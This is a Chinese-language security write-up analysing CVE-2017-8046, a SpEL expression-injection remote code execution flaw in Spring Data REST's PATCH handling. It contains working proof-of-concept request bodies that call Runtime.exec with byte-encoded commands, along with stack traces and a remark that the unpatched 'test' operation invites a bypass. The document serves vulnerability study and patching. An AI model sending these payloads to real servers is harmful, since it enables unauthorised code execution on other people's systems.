来源:先知安全技术社区
作者:廖新喜

1 综述

近日,Pivotal 官方发布通告表示 Spring-data-rest 服务器在处理 PATCH 请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的 PATCH 请求并发送给 spring-date-rest 服务器,通过构造好的 JSON 数据来执行任意 Java 代码。官方已经发布了新版本修复了该漏洞。

相关地址: https://pivotal.io/security/cve-2017-8046

受影响的版本

不受影响的版本

解决方案:

官方已经发布了新版本修复了该漏洞,受影响的用户请尽快升级至最新版本来防护该漏洞。

参考链接:

https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/

2 补丁分析

从官方的描述来看就是就是 Spring-data-rest 服务处理 PATCH 请求不当,导致任意表达式执行从而导致的 RCE。

首先来看下补丁,主要是 evaluateValueFromTarget 添加了一个校验方法 verifyPath,对于不合规格的 path 直接报异常退出,主要是 property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该 Field 是否存在于 bean 中。

3 复现

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples,找到 spring-rest-data 这个项目,直接用 IDEA 一步步导入进去即可,直接运行就能看到在本地的 8080 端口起了 jetty 服务。但是请注意这编译好的是最新版本,要引入漏洞,当然得老版本,修改 pom.xml,添加 plugin,具体如下:

<dependency>
   <groupId>org.springframework.data</groupId>
   <artifactId>spring-data-rest-webmvc</artifactId>
   <version>3.0.0.RC2</version>
</dependency>

从项目 test 目录找到相关请求形式,发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。测试 poc 的效果如下:

这个 poc 的几个关键点在于:Content-Type: application/json-patch+json,path路径一定得用斜杠/隔开,至于为什么,后续会讲到。op 支持的操作符很多,包括 test,add,replace 等都可以触发,op 不同,path 中添加的 poc 可以不一样,如 op 为 test 时就少了很多限制。如下是 op 为 add 时候的请求 body。

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]

执行 ping 192.168.3.106

4 分析

漏洞的触发过程详细分析见文档 ,这里已经描述的比较清楚,在这里不再重述,这篇文档后续的分析主要是对 poc 的一些解读。

随便拿一个以前 spring 表达式注入的 poc 作为 path 的参数值,如 poc:

[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})"
}]

这个请求的特别之处在于 path 字段值后边没有了斜杠。

会报如下错误:

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
    at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

说明 path 参数确实被污染,此处存在表达式注入漏洞,虽然已经进入表达式的执行流程,但是这里却报错退出。离 RCE 还差一步,查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法

@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
   throw new SpelEvaluationException(getStartPosition(),
         SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}

这个方法直接抛出异常,那看来 poc 离执行还有一段距离。直接调出setValue的实现,发现有五个地方重写了该方法。SpelNodeImpl 的 setValue 也在其中,但是它是直接抛出异常的,算一个异常检查吧。查看他们的实现,只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在执行表达式。

查看相关文档得知 CompoundExpression 是复杂表达式,用.连接起来的都算。

Indexer 一般是这么表示 test[xxlegend],那么可以把 poc 改成

[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]"
}]

这也是可以运行的。再看调用栈也是符合我们刚才理解到

SpelExpression.setValue--》 CompoundExpression.setValue--》 CompoundExpression.getValueRef--》 Indexer.getValueRef--》 PropertyOrFieldReference.getValueInternal--》 PropertyOrFieldReference.readProperty

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

前面都是讲 path 参数,也就是表达式的写法。在这个 poc 中还用到 op 参数,op 表示要执行的动作,在代码中定义了add,copy,from,move,replace,test 这么多操作值,add,test,replace 可直接触发漏洞,并且 test 非常直接,path 参数值无需斜杠/,[]来分割,poc 如下:

[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))"
}]

很明显这个 poc 的 path 参数值无线跟/ []来分割参数。原因就是它调用的是 SpelExpression.getValue,而非 test 情况下的 poc 最终调用的都是 SpelExpression.setValue,通过 setValue 调用 getValueRef 来达到表达式注入。

下面看看test的调用栈:

这个点官方也没修,但是有个限制:

@Override
<T> void perform(Object target, Class<T> type) {

   Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
   Object actual = normalizeIfNumber(getValueFromTarget(target));

   if (!ObjectUtils.nullSafeEquals(expected, actual)) {
      throw new PatchException("Test against path '" + path + "' failed.");
   }
}

evaluateValueFromTarget 运行在前,会报错退出,导致 getValueFromTarget 不会被执行,怎么绕过去呢?值得思考。


源链接

Hacking more

...